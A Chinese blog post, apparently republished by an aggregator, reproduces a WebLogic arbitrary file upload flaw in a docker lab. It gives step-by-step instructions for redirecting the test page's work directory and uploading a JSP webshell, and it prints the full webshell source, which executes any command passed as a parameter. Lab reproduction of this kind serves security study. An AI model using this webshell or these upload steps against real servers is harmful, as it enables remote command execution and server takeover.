漏洞复现Weblogic 任意文件上传漏洞

Posted 独角授

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了漏洞复现Weblogic 任意文件上传漏洞相关的知识,希望对你有一定的参考价值。

【漏洞复现】Weblogic 任意文件上传漏洞

0x01漏洞背景

Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。利用该漏洞可以上传任意jsp文件,进而获取服务器权限。

0x02漏洞环境

编译及运行漏洞环境docker-compose up -d

image-20210715150235313

查看开放端口有7001,5003(均无法访问)

image-20210715150325355

环境启动后,访问http://your-ip:7001/console,即可看到后台登录页面。

image-20210715150852536

执行docker-compose logs | grep password可查看管理员密码,管理员用户名为weblogic,登陆密码为CCRIJ7c0

image-20210715150940516

登录成功进入后台

image-20210715152123433

点击base_domain的配置,在“高级”中开启“启用 Web 服务测试页”选项,点击保存。

image-20210715152633609

image-20210715152605469

0x03漏洞复现

访问http://your-ip:7001/ws_utc/config.do

image-20210715152922137

设置Work Home Dir为:/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要,点击提交。

image-20210715153130981

然后点击安全 -> 增加,然后上传webshell

<%@ page import="java.util.*,java.io.*,java.net.*"%>
<%
%>
<html><BODY>

<FORM METHOD="POST" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) { 
		out.println("Command: " + request.getParameter("cmd") + "\\n<BR>");
		Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
		OutputStream os = p.getOutputStream();
		InputStream in = p.getInputStream();
		DataInputStream dis = new DataInputStream(in);
		String disr = dis.readLine();
		while ( disr != null ) {
			out.println(disr); disr = dis.readLine();
		}
	}
%>
</pre>

</BODY></HTML>

image-20210715170755660

用bp抓包,查看返回的数据包,发现其中有时间戳和文件名

然后访问http://your-ip:7001/ws_utc/css/config/keystore/时间戳_文件名,即可执行webshell

image-20210715170646997

image-20210715170700479

以上是关于漏洞复现Weblogic 任意文件上传漏洞的主要内容,如果未能解决你的问题,请参考以下文章

漏洞复现Weblogic 任意文件上传漏洞

WebLogic任意文件上传漏洞复现与分析 -CVE-2018-2894

Weblogic 任意文件上传漏洞(CVE-2018-2894)

CVE-2019-2618任意文件上传漏洞复现

CVE-2019-2618任意文件上传漏洞复现

Weblogic 任意文件上传漏洞(CVE-2018-2894)